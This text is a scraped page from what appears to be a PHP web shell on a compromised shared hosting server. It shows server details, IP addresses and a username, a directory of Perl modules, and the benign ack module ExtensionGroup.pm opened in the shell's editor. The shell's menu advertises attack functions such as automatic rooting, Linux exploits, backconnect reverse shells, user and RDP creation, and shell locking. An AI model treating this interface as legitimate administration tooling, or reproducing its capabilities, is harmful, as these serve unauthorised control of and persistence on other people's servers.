Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.171
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
App /
Ack /
Filter /
[ HOME SHELL ]
Name
Size
Permission
Action
Collection.pm
1.31
KB
-rw-r--r--
Default.pm
421
B
-rw-r--r--
Extension.pm
983
B
-rw-r--r--
ExtensionGroup.pm
906
B
-rw-r--r--
FirstLineMatch.pm
1
KB
-rw-r--r--
Inverse.pm
617
B
-rw-r--r--
Is.pm
819
B
-rw-r--r--
IsGroup.pm
1.06
KB
-rw-r--r--
IsPath.pm
702
B
-rw-r--r--
IsPathGroup.pm
769
B
-rw-r--r--
Match.pm
873
B
-rw-r--r--
MatchGroup.pm
857
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ExtensionGroup.pm
package App::Ack::Filter::ExtensionGroup; =head1 NAME App::Ack::Filter::ExtensionGroup =head1 DESCRIPTION The App::Ack::Filter::ExtensionGroup class optimizes multiple ::Extension calls into one container. See App::Ack::Filter::IsGroup for details. =cut use strict; use warnings; use parent 'App::Ack::Filter'; sub new { my ( $class ) = @_; return bless { data => {}, }, $class; } sub add { my ( $self, $filter ) = @_; foreach my $ext (@{$filter->{extensions}}) { $self->{data}->{lc $ext} = 1; } return; } sub filter { my ( $self, $file ) = @_; if ($file->name =~ /[.]([^.]*)$/) { return exists $self->{'data'}->{lc $1}; } return 0; } sub inspect { my ( $self ) = @_; return ref($self) . " - $self"; } sub to_string { my ( $self ) = @_; return join(' ', map { ".$_" } sort keys %{$self->{data}}); } 1;
Close
